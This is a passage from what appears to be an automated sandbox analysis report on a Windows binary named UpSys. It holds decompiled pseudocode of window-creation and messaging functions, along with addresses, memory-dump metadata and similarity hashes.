				r13d = _t108;
				r13b = r13b >> 1;
				r13b = r13b & 0x00000001;
				 *(_t268 + 0x138) = E00000001140010880(_t224) >> 0x00000002 & 0x00000001;
				 *((intOrPtr*)(_t268 + 0x80)) = 0x40;
				_t20 = _t224 + 2; // 0x1a2
				_t147 =  !=  ? _t20 : 0x1a0;
				_t206 =  *((intOrPtr*)(__rdx + 8));
				r13d = 0;
				 *((intOrPtr*)(_t268 + 0x84)) =  !=  ? _t20 : 0x1a0;
				 *(_t268 + 0x88) = _t282;
				 *(_t268 + 0xa8) = _t282;
				 *(_t268 + 0x90) = _t282;
				E00000001140062190(_t206,  *_t206);
				 *((intOrPtr*)(_t268 + 0xa4)) = r13d;
				 *((intOrPtr*)(_t268 + 0xa0)) = r13d;
				 *((intOrPtr*)(_t268 + 0x9c)) = r13d;
				 *((intOrPtr*)(_t268 + 0x98)) = r13d;
				 *((long long*)(_t268 + 0xb0)) = _t206;
				GetCursorPos(_t286);
				 *((intOrPtr*)(_t268 + 0x148)) =  *((intOrPtr*)(_t268 + 0x148)) + 0x10;
				 *((intOrPtr*)(_t268 + 0x14c)) =  *((intOrPtr*)(_t268 + 0x14c)) + 0x10;
				GetDesktopWindow();
				GetWindowRect(_t284);
				if (_t259 - 2 < 0) goto 0x400661d1;
				_t38 = _t282 + 0x29; // 0x29
				_t265 =  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8));
				if (E00000001140058CA0(_t38,  *((intOrPtr*)(__rdx + 8)), _t265) != r13b) goto 0x400661d1;
				 *((intOrPtr*)(_t268 + 0x148)) = E00000001140010880(_t265);
				if (_t259 - _t265 < 0) goto 0x40066202;
				_t208 =  *((intOrPtr*)(__rdx + 8));
				_t42 = _t265 + 0x26; // 0x29
				if (E00000001140058CA0(_t42, _t208,  *((intOrPtr*)(_t208 + 0x10))) != r13b) goto 0x40066202;
				 *((intOrPtr*)(_t268 + 0x14c)) = E00000001140010880( *((intOrPtr*)(_t208 + 0x10)));
				_t121 = GetWindowLongW(_t282);
				if (r14b == r13b) goto 0x4006621f;
				if ((_t121 & 0x00000040) == 0) goto 0x40066223;
				goto 0x40066237;
				if ((_t121 & 0x00000040) == 0) goto 0x40066237;
				DestroyWindow(_t279);
				 *(__rcx + 0x1b0) = _t282;
				if ( *(__rcx + 0x1b0) != _t282) goto 0x400662c1;
				 *(_t268 + 0x58) = _t282;
				 *(_t268 + 0x50) = _t282;
				 *(_t268 + 0x48) = _t282;
				 *(_t268 + 0x40) = _t282;
				_t178 =  !=  ? 0x43 : 3;
				r8d = 0;
				 *((intOrPtr*)(_t268 + 0x38)) = 0x80000000;
				 *((intOrPtr*)(_t268 + 0x30)) = 0x80000000;
				 *((intOrPtr*)(_t268 + 0x28)) = 0x80000000;
				r9d =  !=  ? 0x43 : 3;
				 *((intOrPtr*)(_t268 + 0x20)) = 0x80000000;
				CreateWindowExW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??);
				r8d = 0;
				 *(__rcx + 0x1b0) = _t208;
				SendMessageW(_t254, _t258);
				goto 0x400662ce;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				SendMessageW(??, ??, ??, ??);
				if (_t208 == _t282) goto 0x40066313;
				r9d = 0;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x40066328;
				E00000001140007A40(__rcx, __r8, _t259, _t261);
				 *((intOrPtr*)(__r8 + 8)) = 1;
				 *__r8 = r13d;
				if (IsWindowVisible(??) != r13d) goto 0x40066376;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				r8d = 1;
				SendMessageW(??, ??, ??, ??);
				if ( *(_t268 + 0x138) == r13b) goto 0x40066445;
				GetWindowRect(??, ??);
				__imp__MonitorFromPoint();
				 *((intOrPtr*)(_t268 + 0xc0)) = 0x28;
				if (GetMonitorInfoW(??, ??) == r13d) goto 0x400663f1;
				CopyRect(??, ??);
				_t149 =  *((intOrPtr*)(_t268 + 0x148));
				_t137 =  *((intOrPtr*)(_t268 + 0x60));
				if (_t149 - _t137 >= 0) goto 0x40066409;
				 *((intOrPtr*)(_t268 + 0x148)) = _t137;
				goto 0x4006641b;
				_t139 =  *((intOrPtr*)(_t268 + 0x68)) -  *((intOrPtr*)(_t268 + 0x78)) -  *((intOrPtr*)(_t268 + 0x70)) + 1;
				_t150 =  >  ? _t139 : _t149;
				 *((intOrPtr*)(_t268 + 0x148)) =  >  ? _t139 : _t149;
				_t151 =  *((intOrPtr*)(_t268 + 0x14c));
				_t140 =  *((intOrPtr*)(_t268 + 0x64));
				if (_t151 - _t140 >= 0) goto 0x40066433;
				 *((intOrPtr*)(_t268 + 0x14c)) = _t140;
				goto 0x40066445;
				_t142 =  *((intOrPtr*)(_t268 + 0x6c)) -  *((intOrPtr*)(_t268 + 0x7c)) -  *((intOrPtr*)(_t268 + 0x74)) + 1;
				_t152 =  >  ? _t142 : _t151;
				 *((intOrPtr*)(_t268 + 0x14c)) =  >  ? _t142 : _t151;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				return 0;
			}


























                                                                                                                                                                                                        0x140066010
                                                                                                                                                                                                        0x140066020
                                                                                                                                                                                                        0x140066027
                                                                                                                                                                                                        0x14006602b
                                                                                                                                                                                                        0x14006602e
                                                                                                                                                                                                        0x140066031
                                                                                                                                                                                                        0x140066039
                                                                                                                                                                                                        0x140066045
                                                                                                                                                                                                        0x140066051
                                                                                                                                                                                                        0x140066053
                                                                                                                                                                                                        0x140066057
                                                                                                                                                                                                        0x140066069
                                                                                                                                                                                                        0x14006606e
                                                                                                                                                                                                        0x14006607a
                                                                                                                                                                                                        0x140066093
                                                                                                                                                                                                        0x14006609d
                                                                                                                                                                                                        0x1400660a8
                                                                                                                                                                                                        0x1400660c1
                                                                                                                                                                                                        0x1400660d3
                                                                                                                                                                                                        0x1400660d6
                                                                                                                                                                                                        0x1400660da
                                                                                                                                                                                                        0x1400660e3
                                                                                                                                                                                                        0x1400660e7
                                                                                                                                                                                                        0x1400660ea
                                                                                                                                                                                                        0x1400660ed
                                                                                                                                                                                                        0x1400660fb
                                                                                                                                                                                                        0x14006610a
                                                                                                                                                                                                        0x140066115
                                                                                                                                                                                                        0x140066118
                                                                                                                                                                                                        0x14006611b
                                                                                                                                                                                                        0x14006611f
                                                                                                                                                                                                        0x140066122
                                                                                                                                                                                                        0x140066129
                                                                                                                                                                                                        0x140066131
                                                                                                                                                                                                        0x140066139
                                                                                                                                                                                                        0x140066144
                                                                                                                                                                                                        0x140066151
                                                                                                                                                                                                        0x140066159
                                                                                                                                                                                                        0x140066161
                                                                                                                                                                                                        0x140066169
                                                                                                                                                                                                        0x140066171
                                                                                                                                                                                                        0x140066179
                                                                                                                                                                                                        0x14006617f
                                                                                                                                                                                                        0x140066187
                                                                                                                                                                                                        0x14006618f
                                                                                                                                                                                                        0x14006619d
                                                                                                                                                                                                        0x1400661a7
                                                                                                                                                                                                        0x1400661ad
                                                                                                                                                                                                        0x1400661b1
                                                                                                                                                                                                        0x1400661c0
                                                                                                                                                                                                        0x1400661ca
                                                                                                                                                                                                        0x1400661d9
                                                                                                                                                                                                        0x1400661db
                                                                                                                                                                                                        0x1400661df
                                                                                                                                                                                                        0x1400661f1
                                                                                                                                                                                                        0x1400661fb
                                                                                                                                                                                                        0x14006620e
                                                                                                                                                                                                        0x140066217
                                                                                                                                                                                                        0x14006621b
                                                                                                                                                                                                        0x14006621d
                                                                                                                                                                                                        0x140066221
                                                                                                                                                                                                        0x14006622a
                                                                                                                                                                                                        0x140066230
                                                                                                                                                                                                        0x140066241
                                                                                                                                                                                                        0x140066243
                                                                                                                                                                                                        0x140066248
                                                                                                                                                                                                        0x14006624d
                                                                                                                                                                                                        0x140066252
                                                                                                                                                                                                        0x14006625f
                                                                                                                                                                                                        0x140066267
                                                                                                                                                                                                        0x14006626a
                                                                                                                                                                                                        0x14006626e
                                                                                                                                                                                                        0x140066272
                                                                                                                                                                                                        0x140066281
                                                                                                                                                                                                        0x140066284
                                                                                                                                                                                                        0x140066288
                                                                                                                                                                                                        0x140066296
                                                                                                                                                                                                        0x1400662a1
                                                                                                                                                                                                        0x1400662a8
                                                                                                                                                                                                        0x1400662bf
                                                                                                                                                                                                        0x1400662ce
                                                                                                                                                                                                        0x1400662d1
                                                                                                                                                                                                        0x1400662ee
                                                                                                                                                                                                        0x1400662f7
                                                                                                                                                                                                        0x140066300
                                                                                                                                                                                                        0x140066303
                                                                                                                                                                                                        0x14006630b
                                                                                                                                                                                                        0x140066311
                                                                                                                                                                                                        0x140066316
                                                                                                                                                                                                        0x14006631b
                                                                                                                                                                                                        0x140066324
                                                                                                                                                                                                        0x14006633d
                                                                                                                                                                                                        0x14006634d
                                                                                                                                                                                                        0x140066352
                                                                                                                                                                                                        0x14006636a
                                                                                                                                                                                                        0x140066370
                                                                                                                                                                                                        0x14006637e
                                                                                                                                                                                                        0x140066390
                                                                                                                                                                                                        0x1400663b7
                                                                                                                                                                                                        0x1400663c5
                                                                                                                                                                                                        0x1400663dc
                                                                                                                                                                                                        0x1400663eb
                                                                                                                                                                                                        0x1400663f1
                                                                                                                                                                                                        0x1400663f8
                                                                                                                                                                                                        0x1400663fe
                                                                                                                                                                                                        0x140066400
                                                                                                                                                                                                        0x140066407
                                                                                                                                                                                                        0x14006640d
                                                                                                                                                                                                        0x140066411
                                                                                                                                                                                                        0x140066414
                                                                                                                                                                                                        0x14006641b
                                                                                                                                                                                                        0x140066422
                                                                                                                                                                                                        0x140066428
                                                                                                                                                                                                        0x14006642a
                                                                                                                                                                                                        0x140066431
                                                                                                                                                                                                        0x140066437
                                                                                                                                                                                                        0x14006643b
                                                                                                                                                                                                        0x14006643e
                                                                                                                                                                                                        0x140066455
                                                                                                                                                                                                        0x140066469
                                                                                                                                                                                                        0x14006648b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                                                                                                                                                        • String ID: ($@$tooltips_class32
                                                                                                                                                                                                        • API String ID: 698492251-1054245302
                                                                                                                                                                                                        • Opcode ID: 074056dfeccedc367ba4eee0b9f5a0916f6da1a1b5a52938dfc5156538326284
                                                                                                                                                                                                        • Instruction ID: da4a4a67c77c2c4fa86d03f35ce27885a2569e31f46088fd973c5a2bb8bdb055
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 074056dfeccedc367ba4eee0b9f5a0916f6da1a1b5a52938dfc5156538326284
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 30C17E762046808AEB65DF26E8507DF77A1F7897C8F504425EF8E47B69DF38C4458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400840F0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 270windowtimeCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 19%
                                                                                                                                                                                                        			E000000011400840F0(void* __edx, void* __esi, long long __rbx, long long __rcx, long long __rdx, void* __r9, struct HWND__* _a8, void* _a16, signed int _a24, void* _a32, signed int _a40, signed int _a48, intOrPtr _a56, intOrPtr _a64, long long _a72) {
				intOrPtr _v60;
				intOrPtr _v64;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed long long _v96;
				long long _v104;
				signed long long _v112;
				long long _v120;
				intOrPtr _v128;
				intOrPtr _v136;
				signed int _v144;
				signed int _v152;
				void* __rsi;
				void* __rbp;
				void* _t94;
				signed int _t99;
				int _t109;
				int _t113;
				signed int _t116;
				intOrPtr _t132;
				signed int _t133;
				signed long long _t181;
				intOrPtr _t182;
				void* _t186;
				void* _t190;
				void* _t199;
				long long _t201;
				struct HWND__* _t205;
				intOrPtr _t206;
				intOrPtr _t207;
				intOrPtr _t208;
				intOrPtr _t209;
				intOrPtr _t211;
				long long _t213;
				signed long long _t239;
				signed long long _t241;
				long long* _t247;
				int _t248;
				long long* _t251;
				int _t253;
				int _t255;
				struct HWND__* _t258;
				int _t269;
				struct HWND__* _t271;
				struct HWND__* _t273;
				void* _t275;
				long long _t276;

				_t215 = __rbx;
				_t205 = _t258;
				 *((long long*)(_t205 + 0x20)) = __rbx;
				 *(_t205 + 0x18) = r8d;
				 *((long long*)(_t205 + 0x10)) = __rdx;
				 *((long long*)(_t205 + 8)) = __rcx;
				r12d = r9d;
				r13d = r8d;
				E00000001140016ED8(_t205, __rcx);
				r14d = 0;
				if (_t205 == _t273) goto 0x40084142;
				_t94 = E00000001140082390(0x300, __edx, __esi, _t205, __rbx, _t205, __rdx);
				_a8 = _t205;
				goto 0x4008414d;
				_a8 = _t273;
				_t206 =  *0x400c6aa8;
				_t186 =  *0x400c6a20 - _t94; // 0x0
				if (_t186 != 0) goto 0x4008417c;
				E0000000114003E0C0(0x300, _t206, _t215, 0x400c6a98,  &_a8, _t253, _t275);
				_t251 = _a8;
				goto 0x400841a4;
				_t239 = _t273;
				if (_t206 - _t273 <= 0) goto 0x400841a4;
				_t207 =  *0x400c6aa0; // 0x0
				if ( *((intOrPtr*)( *((intOrPtr*)(_t207 + _t239 * 8)))) == _t273) goto 0x400841a4;
				_t181 = r14d + 1;
				if (_t239 + 1 - _t206 < 0) goto 0x4008418a;
				_t208 =  *0x400c6aa0; // 0x0
				_t132 = _a56;
				_t241 = _t181;
				_t190 = _t132 - 0xffffffff;
				 *((long long*)( *((intOrPtr*)(_t208 + _t241 * 8)))) = _t251;
				_t209 =  *0x400c6aa0; // 0x0
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t209 + _t241 * 8)))) + 8)) = _t181;
				_t133 =  ==  ? 0x80ca0000 : _t132;
				asm("bts ebx, 0x1a");
				asm("bt ebx, 0x10");
				if (_t190 >= 0) goto 0x400841e6;
				asm("bts ebx, 0x13");
				asm("bt ebx, 0x12");
				if (_t190 >= 0) goto 0x400841f0;
				asm("bts ebx, 0x13");
				_t182 = _a64;
				_t276 = _a72;
				_t183 =  ==  ? r14d : _t182;
				if ((bpl & 0x00000040) == 0) goto 0x400842cd;
				if (_t276 != _t273) goto 0x40084228;
				E0000000114003CF10(0x80ca0000, _t215, 0x400c6a98);
				goto 0x4008450a;
				_t184 = ( ==  ? r14d : _t182) ^ 0x00000040;
				 *((intOrPtr*)(_t251 + 0x18)) = 0x40;
				_t99 = E0000000114003DD90(0,  *((intOrPtr*)( *((intOrPtr*)(_t209 + _t241 * 8)))), _t215, 0x400c6a00, _t276);
				if (_t99 - r14d < 0) goto 0x4008425e;
				_t211 =  *0x400c6aa0; // 0x0
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t211 + _t99 * 8)))) + 0x18)) = 0x80000000;
				GetWindowRect(_t273);
				GetClientRect(_t271);
				r13d = r13d + _v80 - _v64 - GetSystemMetrics(_t269);
				_a24 = r13d;
				r12d = r12d + _v76 - _v60 - GetSystemMetrics(_t248);
				if ((_t133 & 0x00c00000) != 0xc00000) goto 0x400842cd;
				r12d = r12d + GetSystemMetrics(_t253);
				r14d = _a40;
				r13d = _a48;
				r14d =  ==  ? 0x190 : r14d;
				r13d =  ==  ? 0x190 : r13d;
				if (_a24 != 0xffffffff) goto 0x4008433a;
				r9d = 0;
				SystemParametersInfoW(??, ??, ??, ??);
				_t109 = GetSystemMetrics(_t255);
				r8d = 2;
				asm("cdq");
				_a24 = (_v88 - r14d + _v80 - _t109) / r8d;
				_t199 = r12d - 0xffffffff;
				if (_t199 != 0) goto 0x40084394;
				r9d = 0;
				SystemParametersInfoW(??, ??, ??, ??);
				_t113 = GetSystemMetrics(??);
				asm("cdq");
				asm("bt ebx, 0x16");
				r12d = (_v84 - r13d + _v76 - _t113) / (_t269 + 3);
				if (_t199 >= 0) goto 0x40084394;
				_t116 = GetSystemMetrics(??);
				asm("cdq");
				r12d = r12d + _t116 / 0xfffffffe;
				r9d = r14d;
				r8d = 0;
				_v152 = r13d;
				SetRect(??, ??, ??, ??, ??);
				r9d = ( ==  ? r14d : _t182) ^ 0x00000040;
				r8d = 0;
				AdjustWindowRectEx(??, ??, ??, ??);
				_v96 = _v96 & 0x00000000;
				_t213 =  *0x400c6a88; // 0x140000000
				r11d = _v76;
				r11d = r11d - _v84;
				_v104 = _t213;
				_v112 = _v112 & 0x00000000;
				_v120 = _t276;
				_v128 = r11d;
				_v136 = _v80 - _v88;
				r9d = _t133;
				_v144 = r12d;
				_v152 = _a24;
				CreateWindowExW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??);
				 *_t251 = _t213;
				if (_t213 == 0) goto 0x40084215;
				__imp__SetWindowLongPtrW();
				 *((long long*)(_t251 + 0x10)) = _t276;
				 *(_t251 + 0x6c) = _a24;
				 *(_t251 + 0x70) = r12d;
				GetClientRect(??, ??);
				r11d = _v80;
				r11d = r11d - _v88;
				 *((intOrPtr*)(_t251 + 0x74)) = r11d;
				 *((intOrPtr*)(_t251 + 0x78)) = _v76 - _v84;
				GetStockObject(??);
				r9d = 0;
				_t266 = _t213;
				SendMessageW(??, ??, ??, ??);
				r8d = r8d | 0xffffffff;
				_t247 = _t251;
				E00000001140065D80(_t215, 0x400c6a00, _t247);
				_t201 =  *0x400c6a28;
				if (_t201 != 0) goto 0x400844d2;
				_t90 = _t247 + 0x28; // 0x28
				r8d = _t90;
				SetTimer(??, ??, ??, ??);
				 *0x400c6a28 = _t213;
				 *0x400c6a20 =  *0x400c6a20 + 1;
				 *0x400c6ab8 = _t181;
				E0000000114004D260(_t213, 0x400c6a00, _t247);
				asm("bt ebx, 0x1c");
				if (_t201 >= 0) goto 0x40084507;
				if (r14d == 0) goto 0x40084525;
				if (r13d == 0) goto 0x40084525;
				r8d = 0;
				_t91 = _t266 + 4; // 0x4
				return E0000000114004D610(0, _t91, _t213, _t215, _t253, 0x400c6a00, _t213);
			}





















































                                                                                                                                                                                                        0x1400840f0
                                                                                                                                                                                                        0x1400840f0
                                                                                                                                                                                                        0x1400840f3
                                                                                                                                                                                                        0x1400840f7
                                                                                                                                                                                                        0x1400840fb
                                                                                                                                                                                                        0x1400840ff
                                                                                                                                                                                                        0x14008411a
                                                                                                                                                                                                        0x14008411d
                                                                                                                                                                                                        0x140084120
                                                                                                                                                                                                        0x140084125
                                                                                                                                                                                                        0x14008412b
                                                                                                                                                                                                        0x140084130
                                                                                                                                                                                                        0x140084138
                                                                                                                                                                                                        0x140084140
                                                                                                                                                                                                        0x140084145
                                                                                                                                                                                                        0x14008414d
                                                                                                                                                                                                        0x140084154
                                                                                                                                                                                                        0x14008415a
                                                                                                                                                                                                        0x14008416d
                                                                                                                                                                                                        0x140084172
                                                                                                                                                                                                        0x14008417a
                                                                                                                                                                                                        0x140084182
                                                                                                                                                                                                        0x140084188
                                                                                                                                                                                                        0x14008418a
                                                                                                                                                                                                        0x140084198
                                                                                                                                                                                                        0x14008419d
                                                                                                                                                                                                        0x1400841a2
                                                                                                                                                                                                        0x1400841a4
                                                                                                                                                                                                        0x1400841ab
                                                                                                                                                                                                        0x1400841b2
                                                                                                                                                                                                        0x1400841b9
                                                                                                                                                                                                        0x1400841bc
                                                                                                                                                                                                        0x1400841bf
                                                                                                                                                                                                        0x1400841cd
                                                                                                                                                                                                        0x1400841d5
                                                                                                                                                                                                        0x1400841d8
                                                                                                                                                                                                        0x1400841dc
                                                                                                                                                                                                        0x1400841e0
                                                                                                                                                                                                        0x1400841e2
                                                                                                                                                                                                        0x1400841e6
                                                                                                                                                                                                        0x1400841ea
                                                                                                                                                                                                        0x1400841ec
                                                                                                                                                                                                        0x1400841f0
                                                                                                                                                                                                        0x1400841f7
                                                                                                                                                                                                        0x140084202
                                                                                                                                                                                                        0x14008420a
                                                                                                                                                                                                        0x140084213
                                                                                                                                                                                                        0x14008421c
                                                                                                                                                                                                        0x140084223
                                                                                                                                                                                                        0x140084232
                                                                                                                                                                                                        0x140084235
                                                                                                                                                                                                        0x14008423c
                                                                                                                                                                                                        0x140084244
                                                                                                                                                                                                        0x140084249
                                                                                                                                                                                                        0x140084257
                                                                                                                                                                                                        0x140084266
                                                                                                                                                                                                        0x140084274
                                                                                                                                                                                                        0x14008428f
                                                                                                                                                                                                        0x140084297
                                                                                                                                                                                                        0x1400842b1
                                                                                                                                                                                                        0x1400842bd
                                                                                                                                                                                                        0x1400842ca
                                                                                                                                                                                                        0x1400842cd
                                                                                                                                                                                                        0x1400842d5
                                                                                                                                                                                                        0x1400842e6
                                                                                                                                                                                                        0x1400842ee
                                                                                                                                                                                                        0x1400842fa
                                                                                                                                                                                                        0x140084303
                                                                                                                                                                                                        0x140084309
                                                                                                                                                                                                        0x140084314
                                                                                                                                                                                                        0x14008431e
                                                                                                                                                                                                        0x14008432f
                                                                                                                                                                                                        0x140084333
                                                                                                                                                                                                        0x14008433a
                                                                                                                                                                                                        0x14008433e
                                                                                                                                                                                                        0x140084347
                                                                                                                                                                                                        0x14008434d
                                                                                                                                                                                                        0x140084358
                                                                                                                                                                                                        0x140084372
                                                                                                                                                                                                        0x140084375
                                                                                                                                                                                                        0x140084379
                                                                                                                                                                                                        0x14008437c
                                                                                                                                                                                                        0x140084383
                                                                                                                                                                                                        0x14008438e
                                                                                                                                                                                                        0x140084391
                                                                                                                                                                                                        0x140084399
                                                                                                                                                                                                        0x14008439c
                                                                                                                                                                                                        0x1400843a1
                                                                                                                                                                                                        0x1400843a6
                                                                                                                                                                                                        0x1400843b1
                                                                                                                                                                                                        0x1400843b4
                                                                                                                                                                                                        0x1400843b9
                                                                                                                                                                                                        0x1400843bf
                                                                                                                                                                                                        0x1400843c9
                                                                                                                                                                                                        0x1400843d4
                                                                                                                                                                                                        0x1400843d9
                                                                                                                                                                                                        0x1400843e6
                                                                                                                                                                                                        0x1400843eb
                                                                                                                                                                                                        0x1400843f8
                                                                                                                                                                                                        0x1400843fd
                                                                                                                                                                                                        0x140084402
                                                                                                                                                                                                        0x14008440d
                                                                                                                                                                                                        0x140084412
                                                                                                                                                                                                        0x140084417
                                                                                                                                                                                                        0x14008441b
                                                                                                                                                                                                        0x140084421
                                                                                                                                                                                                        0x140084428
                                                                                                                                                                                                        0x140084439
                                                                                                                                                                                                        0x140084446
                                                                                                                                                                                                        0x14008444a
                                                                                                                                                                                                        0x14008444d
                                                                                                                                                                                                        0x140084459
                                                                                                                                                                                                        0x14008445f
                                                                                                                                                                                                        0x140084469
                                                                                                                                                                                                        0x14008446e
                                                                                                                                                                                                        0x14008447a
                                                                                                                                                                                                        0x14008447d
                                                                                                                                                                                                        0x140084486
                                                                                                                                                                                                        0x140084489
                                                                                                                                                                                                        0x140084490
                                                                                                                                                                                                        0x14008449d
                                                                                                                                                                                                        0x1400844a4
                                                                                                                                                                                                        0x1400844a7
                                                                                                                                                                                                        0x1400844ac
                                                                                                                                                                                                        0x1400844b4
                                                                                                                                                                                                        0x1400844c1
                                                                                                                                                                                                        0x1400844c1
                                                                                                                                                                                                        0x1400844c5
                                                                                                                                                                                                        0x1400844cb
                                                                                                                                                                                                        0x1400844d2
                                                                                                                                                                                                        0x1400844dd
                                                                                                                                                                                                        0x1400844e3
                                                                                                                                                                                                        0x1400844e8
                                                                                                                                                                                                        0x1400844ec
                                                                                                                                                                                                        0x1400844f1
                                                                                                                                                                                                        0x1400844f6
                                                                                                                                                                                                        0x1400844f8
                                                                                                                                                                                                        0x1400844fe
                                                                                                                                                                                                        0x140084524

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimermalloc
                                                                                                                                                                                                        • String ID: PowerRun:v1.5
                                                                                                                                                                                                        • API String ID: 3905288122-617584975
                                                                                                                                                                                                        • Opcode ID: f032a9988a55bec02c3fe636c892504d7b1126e0dbc9dc8aee0000ddec741a59
                                                                                                                                                                                                        • Instruction ID: 01a30c3bd2a93c21fdb7ca52d158b3f8910ba1f8a5884a0b0f83ff607816fc15
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f032a9988a55bec02c3fe636c892504d7b1126e0dbc9dc8aee0000ddec741a59
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 87C16C33214B808AEB26DF2AE8547AE77A1F78CBD4F404615EB5A53BB4DB38D554CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140023A6C Relevance: 28.9, APIs: 19, Instructions: 377COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: String$free$ByteCharMultiWidemalloc$ErrorLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1837315383-0
                                                                                                                                                                                                        • Opcode ID: fab557174f1f652a93be6d43573ce5d76c931a14dd025a4edbacb394c5754855
                                                                                                                                                                                                        • Instruction ID: e85152993c7ae268f1fafd1c972fa3ce9ce956825634204154b54a6b9bf736d0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fab557174f1f652a93be6d43573ce5d76c931a14dd025a4edbacb394c5754855
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 94F1B0326046808AEB628F26E4407DD77E1F78CBE8F544629FB5A57BE8DB38CD458701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

